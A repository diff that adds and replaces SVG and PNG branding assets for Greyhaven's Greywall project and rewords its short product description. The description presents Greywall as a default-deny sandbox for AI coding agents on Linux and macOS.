public/greyhaven-mainbg.svg
Normal file
9
public/greyhaven-mainbg.svg
Normal file
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 1.3 MiB |
3
public/greyhaven-mark.svg
Normal file
3
public/greyhaven-mark.svg
Normal file
@@ -0,0 +1,3 @@
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.6 KiB |
BIN
public/greywall-logo.png
Normal file
BIN
public/greywall-logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 8.4 KiB |
@@ -1,24 +1,3 @@
|
||||
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<!-- Shield shape -->
|
||||
<path
|
||||
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
|
||||
fill="#D95E2A"
|
||||
/>
|
||||
<!-- Inner geometric pattern -->
|
||||
<path
|
||||
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
|
||||
fill="#161614"
|
||||
/>
|
||||
<!-- Data nodes -->
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<!-- Connection lines -->
|
||||
<path
|
||||
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
|
||||
stroke="#D95E2A"
|
||||
stroke-width="1"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 756 B After Width: | Height: | Size: 1.6 KiB |
@@ -1,12 +1,12 @@
|
||||
# Greywall
|
||||
|
||||
> Frictionless sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
> Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Built by Greyhaven, licensed Apache 2.0.
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Default-deny policy means nothing is accessible unless explicitly granted. Built by Greyhaven, licensed Apache 2.0.
|
||||
|
||||
## Key Features
|
||||
- Filesystem isolation (kernel-enforced read/write/deny per path)
|
||||
- Network isolation (all traffic routed through Greywall's proxy)
|
||||
- Network isolation (all traffic routed through GreyProxy)
|
||||
- Command blocking (detects blocked commands in pipes, chains, nested shells)
|
||||
- Real-time violation monitoring (every denial captured with full context)
|
||||
- Learning mode (auto-generates least-privilege templates from observed access)
|
||||
|
||||
Reference in New Issue
Block a user